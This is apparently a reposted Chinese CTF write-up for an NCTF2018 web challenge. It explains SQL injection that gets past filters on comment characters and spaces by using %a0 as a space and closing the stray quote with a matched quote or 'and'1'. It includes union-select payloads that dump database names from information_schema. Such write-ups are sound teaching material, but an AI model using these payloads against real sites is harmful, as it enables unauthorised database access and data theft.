sql注入过滤了#,--+怎么办

题目是NCTF2018的web题目

①#

?id=1'会直接出来报错提示。

猜测使用单引号保护id。

另外一打空格就提示you hacker,空格在尾部是不会提示的,猜测用了去除尾部的空格的函数trim()。

空格的过滤绕过  
%20 %09 %0a %0b %0c %0d %a0 %00 /**/    ()
挨个试就行,最好不要用(),因为拼接什么的挺麻烦的  
发现%a0 %0b ()  没有被过滤,就用%a0吧    

另外还发现了过滤了截断符号%23,#,--+  

过滤了截断符号后,我们怎么来绕过最后的那个单引号呢?

常见的sql查询语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
我指的单引号就是$id'的这个单引号,一般我们会用#注释掉,现在没法注释掉后,应该怎么办呢?  

我们来看个sql:

参数?id=1'',sql语句仍然能执行成功,题目中也是如此。

当有一个'时,这一个'会落单报错,但是当有一个和他一起闭合时就不报错了
只要'能匹配,多少个'都没有事。  
select ''   这样虽然查询为空,但是是不报错的。

我们输入  ?id=1''   ,会发现不报错了已经,但是我们尝试?id=1' or 1=1'  
发现出错了。是因为只能直接用在select中,注意是直接。
?id=1''    查询语句变为select * from user where id='1''' LIMIT0,1     可以
?id=1' and 1=1' 查询:SELECT * FROM users WHERE id='1' or 1=1'' LIMIT 0,1   不可以
id=-1'  union select 1,2,3'   可以
所以说是直接在select中   

我们本来要靠order by来猜多少个字段,现在不行了直接根据这个来猜:id=-1' union select 1,2,3'

id=1'%a0union%a0select%a01,2,3',其实这里也不用猜,很明显了,输出了三个字段。

查询所有数据库

select * from user where id='-1' union select group_concat(schema_name),2 from information_schema.schemata'发现又遇到了上边的情况了

'匹配只能直接在select中,  

这里的解决方法使用到的子查询

select * from user where id='-1' union select (select group_concat(schema_name) from information_schema.schemata),2,这样'不就直接在select语句里了。  

总结一下,select ''就是查询一个空值,和select1,2,3本质是一样的,所以不会出错,当''没有被select,就相当于一对孤零零的引号,所以会出错。

②#

今天又学到一个新的思路,就是不用select子查询,用and'闭合。

?id=1%27%a0union%a0select%a0(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),2,3%a0and%271
实际句子就是select1,2,3 from infor....#
变为      select1,2,3 from infor.... and'1' 这样也可以把最后的单引号闭合  

这样一来那些order by,and 1=1,and 1=2就可以正常使用判断注入点了

http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=2%a0and%a0%271  
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1%27%a0or%a01=1%a0and%a0%271  

这个语句就可以判断注入点。

原文地址:https://www.cnblogs.com/zaqzzz/p/10022959.html